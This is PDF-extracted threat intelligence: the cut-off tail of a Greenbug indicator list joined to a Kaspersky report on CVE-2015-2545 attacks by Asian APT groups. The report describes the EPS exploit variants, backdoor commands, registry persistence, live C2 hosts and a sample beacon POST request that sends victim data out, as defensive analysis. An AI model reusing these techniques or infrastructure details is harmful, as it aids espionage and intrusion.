]com Domain oospoosp[.
]com Domain osposposp[.
]com 2/4 https://community.riskiq.com/projects/08f78dc3-054a-493a-e20d-c73cb6958dcb Domain outbrainsecupdater[.
]com Domain securelogicupdater[.
]com Domain securepackupdater[.
]com Domain thetaraysecurityupdate[.
]com Domain winscripts[.
]net Domain winsecupdater[.
]com Domain wixwixwix[.
]com Domain ymaaz[.
]com Domain benyaminsecupdater[.
]com Filename WmiPrv.tmp Hash 37d586727c1293d8a278b69d3f0c5c4b Hash 82755bf7ad786d7bf8da00b6c19b6091 Hash ad5120454218bb483e0b8467feb3a20f Hash e0175eecf8d31a6f32da076d22ecbdff Hash f5ef3b060fb476253f9a7638f82940d9 IP 151.80.113.150 IP 151.80.221.23 IP 217.182.244.254 IP 46.105.130.98 IP 5.39.31.91 IP 80.82.66.164 SSLCertificate 3b0b85ea32cab82eaf4249c04c05bdfce5b6074ca076fedf87dbea6b28fab99d The Maltego graph below depicts the relationship among the indicators (click to enlarge): 3/4 Update 2017-10-25  three hashes removed from IOC list The following hashes were mistakenly included in the IOC list and have been removed, as they are unrelated to the campaign: c594b52ec8922a1e980a2ea31b1d1157 179cb8839e9ee8e9e6665b0986bf7811 d30c4df6de21275ae69a4754fc2372ef 4/4 Iranian Threat Agent Greenbug Impersonates Israeli High-Tech and Cyber Security Companies Indicators of compromise
5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 1/50 securelist.com CVE-2015-2545: overview of current threats by Great On May 25, 2016.
10:56 Am   16 min read original CVE-2015-2545 is a vulnerability discovered in 2015 and corrected with Microsofts update MS15-099.
The vulnerability affects Microsoft Office versions 2007 SP3, 2010 SP2, 2013 SP1 and 2013 RT SP1.
The error enables an attacker to execute arbitrary code using a specially crafted EPS image file.
The exploit uses PostScript and can evade Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) protection methods.
The exploit was discovered in the wild in August 2015, when it was used in a targeted attack by the Platinum group, presumably against targets in India.
Over the following months, there was significant growth in the number of threat actors using the vulnerability as a primary tool for initial penetration, with both the attack groups and their targets located in South-East and Central Asia and the Far East.
In this research paper, we discuss examples of attacks using the CVE- 2015-2545 vulnerability undertaken by some of these groups.
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/ https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/ https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/ 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 2/50 Overview of groups using CVE-2015-2545 Platinum (also known as TwoForOne) The group is believe to originate from South-East Asia.
Its attacks can be traced as far back as 2009.
The group is notable for exploiting 0-day vulnerabilities and carrying out a small number of highly focused targeted attacks  mostly against government agencies in Malaysia, Indonesia, China and India.
This group was the first to exploit the CVE-2015-2545 vulnerability.
After the vulnerability was corrected with Microsoft updates in September and November 2015, no new Platinum attacks exploiting this vulnerability have been detected.
Microsoft presented the activity of this group at the SAS conference in February 2016, and in its paper: PLATINUM: Targeted attacks in South and Southeast Asia.
APT16 https://cdn.securelist.com/files/2016/05/danti_timeline.png http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum20feature20article20-20Targeted20attacks20in20South20and20Southeast20Asia20April202016.pdf 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 3/50 The group has been known for several years and is believed to be of Chinese origin.
In November and December 2015, it used a modified exploit for CVE-2015-2545 in attacks against information and news agencies in Taiwan.
These attacks were described in a FireEye research paper  The EPS Awakens  Part 2.
EvilPost In December 2015, Kaspersky Lab became aware of a targeted attack against the Japanese defense sector.
In order to infect victims, the attacker sent an email with an attached DOCX file exploiting the CVE- 2015-2545 vulnerability in Microsoft Office using an embedded EPS (Encapsulated Postscript) object.
The EPS object contained a shellcode that dropped and loaded a 32-bit or 64-bit DLL file depending on the system architecture.
This, in turn exploited another vulnerability to elevate privileges to Local System (CVE-2015-1701) and download additional malware components from the CC server.
The CC server used in the attack was located in Japan and appears to have been compromised.
However, there is no indication that it has ever been used for any other malicious purpose.
Monitoring of the server activity for a period of several months did not result in any new findings.
We believe the attackers either lost access to the server or realized that it resulted in too much attention from security researchers, as the attack was widely discussed by the Japanese security community.
According to our research partner in Japan, the original EvilPost attack in December 2015 arrived as a spear-phishing email with a Word document attached.
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 4/50 This document embedded an EPS object file, which triggered a vulnerability in the EPS format handler in Microsoft Word.
Even with an exploit component, Microsoft Word rendered the document correctly and displayed the decoy message.
The document is written in good Japanese, as shown below.
It has been used to decoy New Year impressions of defense-related organizations.
This attack was also described in the FireEye report, mentioned above.
An overview of the activity of the EvilPost group activity was provided to subscribers of the Kaspersky Lab Threat Intelligence Service in March 2016.
For information about the service, please write to intelreportskaspersky.com.
SPIVY In March and April 2016, a series of emails laced with an exploit forCVE-2015-2545 were detected.
The emails were sent in spear- phishing attacks, presumably targeting organizations in Hong Kong.
Identifying a specific group behind these attacks is difficult because https://cdn.securelist.com/files/2016/05/dantiapt_eng_1-1.png https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html http://www.kaspersky.com/enterprise-security/intelligence-services mailto:intelreportskaspersky.com 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 5/50 they used a new variant of a widely available backdoor known as PoisonIvy (from which the name of the group, SPIVY, is derived).
A description of these incidents can be found in the PaloAlto blog.
Danti and SVCMONDR These two groups have not yet been publicly described.
An overview of their attacks and the tools used is provided in this report.
Danti attacks Danti (Kaspersky Labs internal name) is an APT actor that has been active at least since 2015, predominantly targeting Indian government organizations.
According to our telemetry, Danti has also been actively hitting targets in Kazakhstan, Kyrgyzstan, Uzbekistan, Myanmar, Nepal and the Philippines.
http://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/ https://cdn.securelist.com/files/2016/05/danti_map.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 6/50 The group implemented a new campaign in February and March 2016, using a repurposed implementation of the CVE-2015-2545 exploit with custom shellcode.
In order to infect the victim, the attackers distributed spear-phishing emails with an attached DOCX file exploiting the CVE-2015-2545 vulnerability in Microsoft Office.
The exploit is based on a malformed embedded EPS (Encapsulated Postscript) object.
This contains the shellcode that drops a backdoor, providing full access to the attackers.
Main findings: Danti, a previously unknown group, is probably related to NetTraveller and DragonOK In February-March 2016 the group was observed using CVE-2015- 2545 It remains active, conducting attacks against Indian diplomatic organizations Related attacks have been observed against Central and South East Asia targets The campaign leveraging the exploit for CVE-2015-2545 took place in February 2016.
As a result, several emails with attached DOCX files were uploaded to VirusTotal.
The email recipients were connected to the Indian Ministry of External Affairs, as can be seen below: dsfsinic.in, the Foreign Service Institute, Ministry of Foreign Affairs (Under Secretary (FT/NRG), dsfsimea.gov.in) chumarpostgmail.com, possibly related to the Chumar military post in India, a disputed area between India and China (the mail server is the same as the Indian Ministry of Foreign Affairs- vastuXX.nic.in) chanceryindianembassy.hu, the Indian embassy in Hungary amb.copenhagenmea.gov.in, the Indian Embassy in Denmark 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 7/50 amb.bogotamea.gov.in, the Indian embassy in Colombia All these attacks took place between the 2nd and 29th of February, 2016.
5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 8/50 Target and date Attachment name Sender Indian embassy in Hungary 2nd February Mission List.doc unknown (original email was forwarded) Indian embassy in Denmark 2nd February HQ List.doc mout.gmx.com ([74.208.4.200]) Indian embassy in Colombia 2nd February HQ List.doc mout.gmx.com ([74.208.4.201]) DSFSI 24th February Indias 10 Top Luxury Hotels.doc 191.96.111.195 via mout.gmx.com ([74.208.4.201]) Chumapost 29th February Indias 10 Top Luxury Hotels.doc 43.227.113.129 via mout.gmx.com ([74.208.4.200]) In the case of the Indian Embassy in Hungary, it looks like the original message was forwarded from the embassy to the Indian IT security team in the Ministry of Foreign Affairs, and uploaded later to Virus Total.
Initial vector The emails that were analysed had originally been sent via 3capp- mailcom-lxa06.server.lan, perhaps using a spam-mailer program.
In all known cases, the sender used the same gate at 74.208.4.200/74.208.4.201 (mout.gmx.com), a well-known open relay SMTP server.
The email messages changed for different waves of the campaign.
When the campaign started in February 2nd, the emails carried the subject headers Mission List and HQ List, and forged the identity of a real sender.
5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 9/50 Original message used in the first wave of attacks As can be seen above, the original email was supposedly forwarded from Anil Kumar Balani, Director of the Department of Information Technology at the Indian Ministry of Communications  Information Technology.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_2.png http://deity.gov.in/content/national-knowledge-network 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 10/50 Mission List decoy document At the same time, attackers sent a slightly different document with the subject HQ List to other Indian embassies (for example, those in Denmark and Colombia): https://cdn.securelist.com/files/2016/05/dantiapt_eng_3.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 11/50 Original HQ List email K.Nagaraj Naidu is Director of the Investments Technology Promotion Division in the Ministry of External Affairs, and a former Counsellor (TC) at the Embassy of India in China.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_4.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 12/50 HQ List decoy document Both files (Mission List and HQ list) have different decoy content, but both use the same CVE-2015-2545 EPS exploit (image1.eps, MD5 a90a329335fa0af64d8394b28e0f86c1).
Interestingly, as can be seen in their metadata, both files were modified by the user India on 01.02.2016, just one day before they were sent to targets.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_5.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 13/50 HQ List metadata Mission List metadata For the attacks at the end of February, the attackers decided to use the less relevant subject header of 10 top luxury hotels in India, sent from an unknown sender.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_6.png https://cdn.securelist.com/files/2016/05/dantiapt_eng_7.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 14/50 Top Luxury Hotels spear-phishing email This new attachment contains the same EPS exploit, but uses a different decoy document and a new payload.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_8.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 15/50 Top 10 Luxury Hotels decoy document The text of the document was copied from a Forbes article published in 2007.
According to its metadata, the document was created in June 2015, so it has probably been used before in unknown attacks.
However, the same mail gate (mout.gmx.com) was used as for the 2nd February attacks.
Email header from February 29 https://cdn.securelist.com/files/2016/05/dantiapt_eng_9.png http://www.forbes.com/2007/11/16/hotels-top-india-forbeslife-cx_pl_1116hotelsindia.html https://cdn.securelist.com/files/2016/05/dantiapt_eng_10.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 16/50 Email header from February 24 All the doc files are Web Archive Files and contain decoy documents and a malicious EPS.
The structure of the WAF files is the same in all three cases: Web archive structure Exploit https://cdn.securelist.com/files/2016/05/dantiapt_eng_11.png https://cdn.securelist.com/files/2016/05/dantiapt_eng_12.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 17/50 The attackers used at least one known 1-day exploit: the exploitforCVE-2015-2545  EPS parsing vulnerability in EPSIMP32.FLT module, reported by FireEye, and patched by Microsoft on 8 September 2015 with MS15-099.
We are currently aware of about four different variants of the exploit.
The original one was used in August 2015 against targets in India by the Platinum (TwoForOne) APT group.
Original EPS exploit, used in August 2015 The second (which is a modified variant of the original exploit) was used in EvilPost attacks against Japan in 2015, and then reused by cybercriminals in March 2016.
This variant was also used by the APT16 group (ELMER backdoor) in Taiwan in December 2015.
The second variant is easily recognized by the specific strings in its EPS shellcode: The h:\\test.txt string could have been forgotten by the exploit developer The third variant was used in December 2015 against a Taiwanese organization, and in February 2016 against an Indian diplomatic organization.
This variant uses different shellcode but is based on the original exploit from the Platinum (TwoForOne) APT: https://cdn.securelist.com/files/2016/05/dantiapt_eng_13.png https://cdn.securelist.com/files/2016/05/dantiapt_eng_14.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 18/50 Can be recognized by add2 eb135 substring In the third variant, the binaries with the encrypted malicious exe file and the decoy document can be found at the end of the files.
In the third variant, the binary starts with PdPD (50 64 50 44), a marker previously used for encrypted binaries by a number of APT groups (Anchor Panda, Samurai Panda, Temper Panda).
Encrypted data at the end of the eps file The decryption function is 1-byte XOR with a key from \x00 to \xff and replacement of the Odd byte for an Even byte in several hundred bytes from the header.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_15.png https://cdn.securelist.com/files/2016/05/dantiapt_eng_16.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 19/50 Decrypted exe file Decrypted decoy document We detected a few different EPS objects in the exploit and these are analyzed below.
The fourth variant of the exploit is analyzed in the March attack section.
Read more about EPS objects and Payload in the Appendix.
March attack At the end of March 2016, we discovered a new wave of attacks by the Danti group against Indian governmental institutions.
On March 28th several malicious document were sent to various recipients at the Cabinet Secretariat of Government India from the email account of https://cdn.securelist.com/files/2016/05/dantiapt_eng_17.png https://cdn.securelist.com/files/2016/05/dantiapt_eng_18.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 20/50 Ms. Richa Gaharwar (richa.gaharwarnic.in), Deputy Secretary at The Department of Administrative Reforms and Public Grievances, the nodal agency of the Government of India.
Email sent from the account of Ms. Richa Gaharwar The message was sent from an internal IP address using Oracle Communications Messenger.
This could mean that the employee workstation used to send the malicious emails had been fully compromised.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_19.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 21/50 Email header The attachment contains the file Holidays in India in 2016.docx with the embedded EPS exploit.
This time the attackers used the second variant of the exploit (previously used by the EvilPost and APT16 groups), with minor changes: They removed the part with the h:\\test.txt strings Dropped the binary added at the end of the EPS object (the same as in the third variant of the exploit) Instead of using the PdPD string as a marker for binary, they used a new identifier: 1111111122222222 https://cdn.securelist.com/files/2016/05/dantiapt_eng_20.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 22/50 New identifier used All these changes created a new variant of the exploit, detected by very few antivirus products.
The decoy document was created on January 27th, and then modified by adding the EPS exploit on March 28th, right before the attack.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_21.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 23/50 Decoy document According to its metadata, the document was created and modified by Chinese users: https://cdn.securelist.com/files/2016/05/dantiapt_eng_22.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 24/50 Decoys metadata March attack  payload The dropped file is a RarSFX archive (331307 bytes).
According to comments in the archive, this was also created by a Chinese user: https://cdn.securelist.com/files/2016/05/dantiapt_eng_23.png https://cdn.securelist.com/files/2016/05/dantiapt_eng_24.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 25/50 The dropper installs four files in the system.
The Appinfo.dat file launches PotPlayerMini.exe, monitors the memory periodically with the GlobalMemoryStatus API function and writes the results to C:\windows\memstatus.txt The main loader PotPlayerMini.exe is a legitimate multimedia player from Daum Communication.
The file is signed with a legitimate signature from Daum Communications Corp. https://potplayer.daum.net/ 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 26/50 Digital signature information This legitimate file is used by the attackers to load a malicious, unsigned file from the same folder: PotPlayer.dll (the hardcoded PDB path inside is C:\Users\john\Desktop\PotPlayer\Release\PotPlayer.pdb).
This, in turn executes appinfo.dat (the hardcoded PDB path inside is https://cdn.securelist.com/files/2016/05/dantiapt_eng_25.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 27/50 D:\BaiduYunDownload\ServiceExe\Release\ServiceExe.pdb), which is a Yoda-compressed binary.
The backdoor code is stored inside update.dat.
The potplayer.dll PreprocessCmdLineEx export function: Creates a service named MemoryStatus with a path to appinfo.dat file and sets it to HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Run with the name potplayer.
Opens update.dat file, decrypts it with xor operations and passes the execution to the result buffer.
update.dat, a backdoor: Makes its first GET request to hardcoded CnC newsupdate.dynssl.com/index.html in order to get the new CnC in the response.
If 407 response code is returned (Proxy authentication required) then the sample sends the request again with proxyname string as the proxy username and proxypass string as the proxy password.
That suggests that may be the sample is compiled using some builder where these parameters must be set manually and in this specific sample were not changed from default.
Finds 8FC628C9F43D42E2B77C2801518AF2A5 substring and decrypts it using AES CTR mode thrice using three 16-bytes keys.
Makes a POST request to the new CnC with imvalidate URL parameter and expects success string as the response.
5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 28/50 Forms the following structure in order to send to CnC in POST-request after AES encryption: CFB4CDE8-9285-4CC2-ACE2-CD9CCDF22C0D string Local IP Host name 0x3E9 dword OS version SYSTEM_INFO structure Decrypts the response using AES with one key.
Commands: Passes execution to the new buffer Enumerates drives and their type Enumerates given registry key and value Enumerates processes Deletes given file Creates given process Writes to file and launches it Enumerates services Terminates given process Provides shell via cmd.exe The malware connects to the following C2s: newsupdate.dynssl.com (103.61.136.120) dnsnews.dns05.com (118.193.12.252) The connection: 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 29/50 The two hosts are dynamic DNS subdomains, using the provider CHANGEIP DNS.
https://cdn.securelist.com/files/2016/05/danticode1.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 30/50 SVCMONDR: the Taiwan case In December 2015, we uncovered another example of the type of shellcode found in the exploit for CVE-2015-2545.
On 11 December, a spear-phishing email was sent by attackers to an employee of a Taiwanese security software reseller.
Spear-phishing email The attachment contained a Web Archive File with 1-3.doc and a malicious EPS file inside.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_26.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 31/50 1-3.doc This EPS (98c57aa9c7e3f90c4eb4afeba8128484) is exploit CVE-2015- 2545 and contains an encrypted binary starting with PdPD (50 64 50 44), the same as seen in the Danti attacks.
The structure of the Web Archive also carries references to the same files as the Danti group (with image002.gif and image002.eps.)
However, the files themselves are absent from the archive.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_27.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 32/50 Part of the Web Archive This resemblance could mean that we can attribute this case to the Danti group.
However, it could also be a coincidence or yet another case of different groups using the same malicious code.
Thats why we are noting this incident separately from the Danti groups activity.
Interestingly, in the first few days of December, another group APT16 (FireEyes classification) also targeted Taiwan-based organizations with a CVE-2015-2545 EPS exploit, and its emails originated from the same domain as the one sent by the SVCMONDR attackers.
However, it used another type of shellcode and a different backdoor  ELMER.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_28.png https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 33/50 After opening the doc file (which is again a Web Archive File), the exploit drops and executes the Trojan program svcmondr.exe (8052234dcd41a7d619acb0ec9636be0b).
This queries the registry: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings and HKCU\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Connections\DefaultConnectionSettings and compares the values.
If they dont coincide, it sets the DefaultConnectionSettings value from the HKEY_USERS to HKCU key.
It sets values taken from: 1.
HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ A8A88C49-5EB2-4990-A1A2-0876022C854F 2.
HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ AEBA21FA-782A-4A90-978D-B72164C80120 3.
HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1A10 To the appropriate HKCU key (for example: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ A8A88C49-5EB2-4990-A1A2-0876022C854F, etc.
).
Then forms the structure in order to send it to the CnC in a POST- request with the following fields: 0x8888 constant 0x8000 constant 18-bytes hex string based on CoCreateGuid function 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 34/50 Local IP MAC address Example of POST request It encodes the resulting structure with base64.
Example of a POST request: POST / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Win32) Host: 59.188.13.204:9080 Content-Length: 112 Connection: Keep-Alive Cache-Control: no-cache AAAAAIiIAAAAgAAAAAAAAGQwNTRlYTkxMDAwMGEyZmU3NAAAAAAAAAAAAAAAAAAAMTAuNjMuMTIuNAAAAAAAADAwMEMyOUU5Nzg2QgAAAAAAAAAA Based on the CnC response, the sample: Checks the password in the CnC response and compares it with the hardcoded password 1010 in its configuration structure.
If the password is valid, it sets a certified flag and can further process the following commands.
Launches given command line with ShellExecute, writes output results to tmp file, sends results to CnC and deletes the file.
Downloads file to Temp folder.
Uploads given file to CnC.
Sets sleep interval.
https://cdn.securelist.com/files/2016/05/dantiapt_eng_29.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 35/50 All results sent to the CnC after processing commands are encrypted with RC4 with a MAC-address as a key.
The CnC points to an IP address in Hong Kong.
This IP address belongs to a local private company, but falls within a range of IP addresses that belong to another enterprise that has already been identified as a host location for command and control servers that communicate with malware.
The CnC has been used in other APT incidents, attributed by FireEye to the group admin338 aka Temper Panda (59.188.0.197, accounts.serveftp.com).
In general, this IP address space from New World Telecom HK is one of the favorite places used by different Chinese-origin APT groups to host command  control servers/proxies.
Another detail suggesting a possible relationship between SVCMONDR and Temper Panda is the use of the PdPD (50 64 50 44) marker for encrypted binaries.
According to Crowdstrike, the same marker has been used previously by a number of APT groups (Anchor Panda, Samurai Panda and Temper Panda).
The latest known activity of admin338 was in August 2015, when it was used to target Hong Kong-based media using its own tools, LOWBALL and BUBBLEWRAP.
However, we are unable to draw any conclusion regarding the relationship between the SVCMONDR group and Temper Panda.
According to KSN data, in addition to Taiwan, there are some SVCMONDR victims in Thailand.
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 36/50 Conclusions We are currently aware of at least four different APT actors actively using exploits of the CVE-2015-2545 vulnerability: TwoForOne (also known as Platinum), EvilPost, APT16 and Danti.
These groups have their own toolsets of malicious program.
Dantis arsenal is more extensive than those of EvilPost and APT16, and in terms of functionality can be compared with Platinum.
All groups are focused on targets in the Asian region and have never been seen in incidents in Western Europe or the USA.
The TwoForOne (Platinum) group is described in Microsoft research, APT16 in FireEye reports, and EvilPost and Danti in Kaspersky Lab private reports.
Danti is highly focused on diplomatic entities.
It may already have full access to internal networks in Indian government structures.
According to Kaspersky Security Network, some Danti Trojans have also been detected in Kazakhstan, Kyrgyzstan, Uzbekistan, Myanmar, Nepal and the Philippines.
Despite the fact that Danti uses a 1-day exploit, the group is able to make its own modifications to bypass current antivirus detections.
A number of the modules used by Danti have the same functionality as previously known and used malicious programs like NetTraveller and DragonOK.
The use of CVE-2015-2545 exploits is on the rise.
In addition to the groups mentioned above, we have seen numerous examples of these exploits being used by traditional cybercriminals in mass mailings in February-April 2016.
Such attacks mostly target financial institutions 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 37/50 in Asia.
Specifically, attacks have been recorded in Vietnam, the Philippines and Malaysia.
There are reasons to believe that Nigerian cybercriminals are behind these attacks.
In some cases, the infrastructure used is the same as the one we saw when analyzing the Adwind Trojan.
We expect to see more incidents with this exploit and we continue to monitor new waves of attacks and the potential relationship with other attacks in the region.
To know more about how to address the issue of known vulnerabilities most properly, read this post in the Kaspersky Business Blog.
Additional references: The EPS Awakens Part 1 Part 2 Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets New Poison Ivy Rat Variant targets Hong-Kong-Pro-Democracy Activists Microsoft research Platinum EvilPost attacks (Kaspersky Lab Private Report, March 2016) Appendix A: EPS Objects their payload and http.exe trojan analysis https://securelist.com/blog/research/73660/adwind-faq/ https://business.kaspersky.com/danti/5594 https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ http://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/ http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum20feature20article20-20Targeted20attacks20in20South20and20Southeast20Asia20April202016.pdf 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 38/50 EPS Objects File MD5: a90a329335fa0af64d8394b28e0f86c1 File type: Encapsulated Postscript File Size: 189238 bytes File Name: image001.eps (from HQ list) This EPS file contains a shellcode that decrypts and saves file lsass.exe and decoy document to disk.
The dropped malicious files are described below.
File MD5: 07f4b663cc3bcb5899edba9eaf9cf4b5 File type: Encapsulated Postscript File Size: 211766 bytes File Name: image001.eps (from Mission list) This EPS file contains a shellcode that decrypts and saves file lsass.exe and decoy document to disk.
The dropped malicious files are described below.
File MD5: b751323586c5e36d1d644ab42888a100 File type: Encapsulated Postscript File Size: 398648 bytes File Name: image001.eps (from Indias 10 Top Luxury Hotels) This EPS file contains a shellcode that decrypts and saves the dropper file (Windows CAB) and decoy document to disk.
The dropper and dropped malicious file http.exe are described below.
5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 39/50 Payload analysis Backdoor 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 40/50 File Name lsass.exe MD5 8ad9cb6b948bcf7f9211887e0cf6f02a File type PE32 executable for MS Windows (GUI) Intel 80386 32- bit Compilation timestamp 2015-12-28 07:47:54 PE Resources BIN (CHINESE SIMPLIFIED) Size 138240 bytes URL: http://goback.strangled[.
]net:443/ [random string] TYPE: POST USER AGENT: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Real IP: 180.150.227.135:443 Drops file from its resource section to ALLUSERSPROFILE\ IEHelper\mshtml.dll.
The backdoor then writes a string to a given offset with the value dependent on the ALLUSERSPROFILE environment variable.
Thus, the md5 of dropped files can vary.
Examples of md5 with standard variables: be0cc8411c066eac246097045b73c282 bae673964e9bc2a45ebcc667895104ef Sets registry: If user is not admin HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersio\Run value 53372C34-A872-FACF-70A7-A23C81C766C4 C:\Windows\System32\rundll32.exe ALLUSERSPROFILE\ 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 41/50 \IEHelper\mshtml.dll, IEHelper In any case: HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\53372C34-A872-FACF-70A7- A23C81C766C4 value StubPath C:\Windows\System32\rundll32.exe ALLUSERSPROFILE\ \IEHelper\mshtml.dll, IEHelper Sets the following values before creating the instance of IE for communicating with the CnC: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ DisableFirstRunCustomize1 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ Check_Associationsno HKEY_CURRENT_USER\Software\Microsoft\Internet Connection Wizard\ Completed1 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ IEHarden0 Collects the following info, encodes with base64 and sends to the CnC: Memory status OS version User name OEM code page identifier Local IP CPU speed Forms the following body in POST request to the CnC: 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 42/50 -_Part_x Content-Disposition: form-data namem1.jpg Content-Type: application/octet-steam base64 -_Part_x Where x  decrypted adapters MAC address based on xor operation.
The URL path in the POST request is generated randomly with uppercase letters.
